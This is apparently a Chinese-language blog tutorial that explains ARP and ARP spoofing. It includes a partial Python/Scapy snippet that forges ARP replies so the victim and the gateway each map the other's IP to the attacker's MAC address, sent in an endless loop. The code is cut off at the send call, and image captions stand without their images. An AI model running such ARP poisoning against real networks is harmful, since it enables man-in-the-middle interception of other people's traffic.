发送报文

接收报文1

接收报文2

发送报文

Scapy学习日志

arp协议研究:

arp协议的全称为地址解析协议,是一种工作在网络层的协议,是一种将ip地址转换为MAC地址(物理地址)的协议

    局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下:

op:2(op值为2说明这是一次arp响应)

hwsrc:发送方MAC地址(即网关MAC地址)

psrc:发送方ip地址(即网关ip地址)

hwdst:目标MAC地址(为发起arp请求的机器的MAC地址)

pdst:目标ip地址(为发起arp请求的机器的ip地址)

ARP欺骗

网关: IP

受害者机器:IP

本机:IP

正常情况下,如果受害者和网关要进行通信,首先要使用arp协议进行对方的MAC地址获取,但是如果攻击者不断的向受害者发送arp响应包,告诉受害者网关的MAC地址为自己的MAC地址,包的大致内容如下

op:2(op值为2说明这是一次arp响应)

hwsrc:发送方MAC地址(攻击者MAC地址)

psrc:发送方ip地址(网关ip地址)

hwdst:目标MAC地址(受害者MAC地址)

pdst:目标ip地址(受害者ip地址)

利用python实现arp攻击

所需python第三方库

scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带

localmac=get_if_hwaddr(interface)#get_if_hwaddr获取本地网卡MAC地址
 tmac=getmacbyip(tip)#根据目标ip获取其MAC地址
 gmac=getmacbyip(gip)#根据网关ip获取其MAC地址
 ptarget=Ether(src=localmac,dst=tmac)/ARP
(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#构造arp响应包,欺骗目标机器网关的MAC地址为本机MAC地址
    pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#构造arp响应包,欺骗网关目标机器的MAC地址为本机MAC地址
while 1:#死循环开启/while True: #也可以
    sendp

使用到scapy库中的几个函数

  • get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址
  • getmacbyip("ip地址") 根据ip地址获取其MAC地址,使用该函数实际上使用了一次arp协议,可以用此函数获取网关和目标的MAC地址

上面三张图是scapy欺骗投毒后的图,有兴趣可以试试,

最后修改:2019 年 04 月 06 日 02 : 38 PM
如果觉得我的文章对你有用,请随意赞赏